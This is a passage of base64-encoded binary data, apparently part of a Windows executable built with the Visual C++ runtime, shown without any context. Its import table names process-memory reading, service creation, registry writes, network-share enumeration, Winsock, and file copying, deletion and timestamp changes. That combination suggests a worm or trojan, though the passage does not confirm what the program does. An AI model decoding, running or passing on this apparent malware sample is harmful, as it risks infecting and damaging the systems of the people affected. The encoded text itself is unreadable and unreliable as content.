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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD 